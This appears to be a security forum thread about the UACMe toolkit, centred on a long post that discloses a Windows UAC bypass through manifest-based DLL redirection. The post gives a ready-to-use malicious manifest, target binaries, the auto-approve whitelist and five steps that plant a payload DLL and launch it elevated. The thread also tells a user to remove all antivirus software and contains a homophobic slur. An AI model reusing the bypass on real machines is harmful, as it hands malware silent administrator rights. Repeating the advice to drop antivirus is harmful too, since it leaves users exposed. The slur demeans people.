[rkci34f]

I have included hybrids.h in my project and am getting unresolved external symbol int ucmgwx error -- howcome? I tried including hybrids.c in my project but I think that's unnecessary and leads to other errors. I really want this to work :S

According to your question you basically attempt to copy-paste part of uacme and:

1) have no idea what you are doing
2) does not have enough C experience

No I won't help you with this. All you need is C language knowledge and understanding what you see inside source code, not blindly attempt to copy-paste it.

I have some C knowledge and of the WinAPI. From my understanding unresolved external symbol means it does not know where to look to find the functon like when you are missing a .lib but in this case there is no lib to include. thanks anyway

[EP_X0FF]

Look inside, understand what and how it is doing and reproduce yourself with your code. Is it so hard? All methods are self-sufficient.

[EP_X0FF]

Windows 10 RS1 14316 UAC bypass is still possible and working even without involving InetMgr (which is also can be used to bypass UAC in 14316 so count methods as two). This time with help of Sirefef trick (no I not mean adobe dll bullshit). If I had enough time I will probably update UACMe with this old-new method which is working well. Additionally this method can/will work on all previous supported Windows versions.

UACMe 2.1 released with method 17 mentioned above. Method 17 should work at least from 9600 (any maybe 9200) up to current 14316.
https://github.com/hfiref0x/UACME

[Tonymndz]

Microsoft Security Essentials detects UACME as "Trojan"

Trojan:Win32/Dynamer!ac

Category: Trojan

Alert Level: Severe

Description: This program is dangerous and executes commands from an attacker.

Recommended action: Remove this software immediately.

Items:
containerfile:C:\Users\****\Downloads\UACME-master.zip
file:C:\Users\****\Downloads\UACME-master.zip->UACME-master/Compiled/Akagi32.exe
webfile:c:\ProgramData\Microsoft\Microsoft Antimalware\LocalCopy\{665BD64F-C41F-4D6A-BDB0-275DC3B92464}-UACME-master.zip|chrome.exe
webfile:C:\Users\****\Downloads\UACME-master.zip|https://codeload.github.com/hfiref0x/UA ... chrome.exe

[EP_X0FF]

And what?

[Tonymndz]

And what?

This is only for UACME 32bit not 64bit do you know why they did this?

[EP_X0FF]

Microsoft detection of UACMe is not that simple as you think. They detect it as malware thanks to faggot who used it in Dyre/Adware (just google for Hibiki.dll). They are not specially target anything - it is MSE detection as is, x64 emulation in it was always sucking, on fresh Windows 10 RS1 they can detect x64 version too (via cloud), well sometimes. It is all useless and ridicuolus, just because you always can rip some part of code or simple idea of method and reimplement it in your own way. AFAIK they not implemented any behaviour based signatures for uacme. Just ignore it, and better get rid of MSE and any other AV because they useless piece of junk.

[Tonymndz]

Alright thanks for the information and if you could help me, what do you think I should use?

[EP_X0FF]

Alright thanks for the information and if you could help me, what do you think I should use?

Linux?

[EP_X0FF]

Since Windows 7 UAC is one of the biggest malware targets. I do remember when Vista released, back in 2006, malware authors publicly and privately sadly commented that this "feature" makes their lives complicated. I was then doubt UAC can stand as it was for a long. And yeah, Windows 7 (thanks to MS marketers and bunch of idiots) turned it into ridiculous piece of shit.

Despite the fact it was one of the malware attack targets for years Microsoft did nothing to fix it bugs until release of Windows 8.1 and started actively fix it from Windows 10 early builds up to current date. Results of this marketing failure -> multiple malware abusing Middle -> High IL elevation in the default system configuration which probably most of people use.

UAC itself is user mode wrapper implemented as service where most of core logic/code located inside APPINFO.DLL (located in system32 folder). How it works described already in a few blogposts and presentations (for example https://www.syscan360.org/slides/2013_Z ... truder.pdf). This UAC code is one of the most funniest things in Windows (along with SCM). When you look for new UAC bypass methods this appinfo.dll must be the first place for checking. When Windows 7 released it introduced several backdoors and hacks which were intended to fix UAC behaviour and make it less annoying for users. Unfortunately ALL of them are UAC bypass methods. It was only a matter of time (and the will) when they all will be discovered and used by malware. So Microsoft developed and integrated most of the currently working UAC exploits because of laziness and marketing failures of Vista. Is the any other ways for them at this moment? Probably yes, but they all aren't that simple and fast. So what they did (list can be incomplete):

1) key documented (https://msdn.microsoft.com/en-us/librar ... s.85).aspx) autoElevate backdoor, allowing Microsoft applications silently autoelevate with default UAC settings;
2) documented and undocumented autoelevating COM inferfaces, for example IFileOperation (https://msdn.microsoft.com/en-us/librar ... s.85).aspx) and undocumented COM interface ISecurityEditor allowing silent autoelevated file / objects security operations with default UAC level;
3) whitelist of applications that are "safe to auto approve" (I suppose it was created mostly to handle mmc.exe). It purpose - allow silent autoelevation of whitelisted applications with default UAC settings.

Security through obscurity is the result. How long it take to figure all this out? Maybe few days I don't know, most people just put windows under debugger since betas and figured out new "features" even before Windows 7 release.

Just some wondeful fact you probably don't know. Microsoft ISecurityEditor backdoor interface has been exclusively used by WinNT/Simda malware since early 2010 until 2015 year WITHOUT any reaction from Microsoft. They broke this interface only after public posts about it and only in Windows 10 builds. Despite the fact their MMPC team have samples of this malware FOR YEARS and even analyzed them. WTF is this? This is unprofessional and incompetent or in russian if you like "pohuizm".

So what reaction of so-called security experts (eqv. to incompetent random twitter/blogger posters). "UAC is not a security feature", "UAC is not a security boundary", "UAC is not <put your smart term here>". Guys, malware actually don't give a fuck. So from where all this stuff initially started?

Here is the source -> incompetent bullshit blogpost motivated by Microsoft marketing division -> https://blogs.msdn.microsoft.com/e7/200 ... te-on-uac/
Here you see "explanation" and "excuse" for future revealed backdoors and exploits. Nice job Microsoft.

Another blogpost which "experts" usually like to link -> https://technet.microsoft.com/en-us/mag ... 7.uac.aspx, it reveals common "failures" of upcomming UAC in Windows 7 and makes long story to excuse them.

So, tl;dr paraphrase

The most basic element and direct benefit of UAC's technology is simply making Windows more standard-user friendly.

to

The most basic element and direct benefit of UAC's technology is simply making Windows more malware friendly.

Windows 8.1 was the version that implemented first UAC fix. Yes, ~5 years after "improved" UAC release. Microsoft "fixed" dll-hijack of sysprep.exe (systemroot\system32\sysprep). Interesting that they used SxS undocumented feature (or call it backdoor) to do this. Well they actually failed to fix anything in sysprep and it still used to bypass UAC up to current 14352 build, but this is not a point of story. This fix revealed new wonderful and easy to use backdoor we will discuss later.

Windows Side-by-side Assembly (SxS) implemented in sxs.dll, if you have enough interest and time look inside of it, it is interesting to explore (despite it is written in a trash C++). An application that employs SxS must have a manifest, a special XML written block of configuration data. Manifest can be internal embedded inside PE file or external. Built-in manifest has a priority over external. More documentation and explanations can be found on MSDN, see link above.

So lets take a look on sysprep failed "fix" from Windows 8.1 (in red).

<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly
xmlns="urn:schemas-microsoft-com:asm.v1"
xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
manifestVersion="1.0"
>
<assemblyIdentity
name="Microsoft.Windows.WindowsDeploymentServices.Management.SysPrep"
processorArchitecture="amd64"
type="win32"
version="5.1.0.0"
/>
<description>System Preparation Tool</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel
level="requireAdministrator"
uiAccess="false"
/>
</requestedPrivileges>
</security>
</trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
<!--
Specifically load these DLLs from the specified path. This
is done as a defence-in-depth approach to closing a known UAC
exploit related to Sysprep.exe being auto-elevated. The list
need not contain KnownDlls since those are always loaded
by the loader from the system directory.
-->
<file
loadFrom="%systemroot%\system32\actionqueue.dll"
name="actionqueue.dll"
/>
<file
loadFrom="%systemroot%\system32\bcryptprimitives.dll"
name="bcryptprimitives.dll"
/>
<file
loadFrom="%systemroot%\system32\cryptbase.dll"
name="cryptbase.dll"
/>
<file
loadFrom="%systemroot%\system32\unattend.dll"
name="unattend.dll"
/>
<file
loadFrom="%systemroot%\system32\wdscore.dll"
name="wdscore.dll"
/>
<dependency>
<dependentAssembly>
<assemblyIdentity
language="*"
name="Microsoft.Windows.Common-Controls"
processorArchitecture="amd64"
publicKeyToken="6595b64144ccf1df"
type="win32"
version="6.0.0.0"
/>
</dependentAssembly>
</dependency>
</assembly>

Microsoft was so cute so they even provided explanation comment, thanks! So these lines force Windows loader load selected dlls from specified location, ignoring DLL search path. Hmm does "file" element has "loadFrom" attribute documented? https://msdn.microsoft.com/en-us/librar ... s.85).aspx, no. Nice new undocumented backdoor. Does older version of Windows support it? Yes, you can find loadFrom references inside sxs.dll in Windows 7 and it works. And we can tell Windows autoElevate our application, but it is documented, already exploited in "windows script host vulnerability" and not interesting at all. Additionally Windows 10 seems completely ignore this element in external manifest (wow).

So we can do direct dll redirection using manifest file. Does it looks like UAC bypass? Oh yes. We need to locate proper target:

1) Microsoft known/approved application;
2) dll dependencies that can be exploited;
3) no internal manifest.

Quick scanning over Windows directory revealed multiple possible targets. Windows behaviour between different version sometimes reminds me good old korean random. This is the same case. For bypass UAC in Windows 7 we will use one way, for 8+ different.

Delivery interface.
We use documented IFileOperation of course as Microsoft killed wusa /extract on Windows 10. But we will use it with small remark -> http://www.kernelmode.info/forum/viewto ... 249#p28249

Target dll.
Surprise, surprise - it is popular CRYPTBASE.DLL, it is loaded and executed everywhere and for unknown reasons Microsoft geniuses still not put it into KnownDlls (but did this for KnownDlls32 rofl), even in Windows 10 RS1.

Target dll location.
Oh lets use sysprep folder. For years it was abused by malware, why not continue good old tradition.

Target manifest.
Simple with only few elements.

Code: Select all

<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<assembly
    xmlns="urn:schemas-microsoft-com:asm.v1"
    xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
    manifestVersion="1.0"
    >
   <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel
            level="requireAdministrator"
            uiAccess="false"
            />
      </requestedPrivileges>
    </security>
  </trustInfo>
  <asmv3:application>
    <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
      <autoElevate>true</autoElevate>
    </asmv3:windowsSettings>
  </asmv3:application>
 <!--
      Your "defence-in-depth approach" is actually yet another
      undocumented backdoor. I sincerely hope you will never
      do anything more complex than coding Tetris.
  -->
  <file
      loadFrom="%systemroot%\system32\sysprep\cryptbase.DLL"
      name="cryptbase.DLL"
      />
 </assembly>

Target application.
taskhost.exe for Windows 7 and tzsync.exe for Windows 8+. Why them? Just the first things from huge list of possible targets. Plus they are really small and cute.

Target application location.
Windows directory for taskhost and system32 directory for tzsync.exe

Before we go to Target application name lets post more funny things about UAC.

Lets take a look on Microsoft developed "crutch" hidden inside UAC dll. Yeah I mean that wonderful whitelist called g_lpAutoApproveEXEList (yeah I known g_ stands for global, but it looks like really "govno" instead).

It is array of strings representing filenames of Microsoft executables which is used inside AiIsEXESafeToAutoApprove function.

Here is it from Windows 7

Code: Select all

"cttunesvr.exe"
"inetmgr.exe"
"infdefaultinstall.exe"
"migsetup.exe"
"migwiz.exe"
"mmc.exe"
"oobe.exe"
"pkgmgr.exe"
"provisionshare.exe"
"provisionstorage.exe"
"spinstall.exe"
"winsat.exe"

Who are these executables at all? Mostly Microsoft backdoors is the right answer. Notice infdefaultinstall.exe used by malware, thanks to CVE-2014-4114 it was later removed from this list. Here is the list from Windows 10 RS1 build 14352 (its the same as on patched Windows 8.1 and on Windows 10 TH1/TH2).

Code: Select all

"cttunesvr.exe"
"inetmgr.exe"
"migsetup.exe"
"migwiz.exe"
"mmc.exe"
"oobe.exe"
"pkgmgr.exe"
"provisionshare.exe"
"provisionstorage.exe"
"spinstall.exe"
"winsat.exe"

The intrigue part - most of these executables does not exist in default Windows install (inetmgr.exe is a different story of successful UAC bypass). And they are "EXESafeToAutoApprove". Microsoft security as is. Lets pickup some names from this wonderful backdoor whitelist.

Target application name.
taskhost.exe for Windows 7 and migwiz.exe for everything else.

Final bypass scheme:
1) copy target application to %temp% under final name (taskhost.exe->%temp%\taskhost.exe, tzsync.exe->%temp%\migwiz.exe);
2) copy proxy dll with payload to systemroot\system32\sysprep as cryptbase.dll (add exports if needed);
3) copy target application from %temp% to target directory (windows for win7 and windows\system32 for everything else);
4) copy custom manifest as %targetapplication%.exe.manifest to target directory (windows for win7 and windows\system32 for everything else);
5) run target application.

It is just a simple demostration how badly this trash known as "UAC" was designed and how many possible ways to it bypass exist. To protect from the above - do not use admin account, force UAC at maximum level and filter every window it will show with great caution because malware will use Microsoft binaries and this stupid/non informative UAC dialog will tell you these actions are legit and from Microsoft.

P.S.
We are talking about x64 version of Windows, 32 bit variant is not interesting at all.
Method implemented as #18 in UACMe, https://github.com/hfiref0x/UACME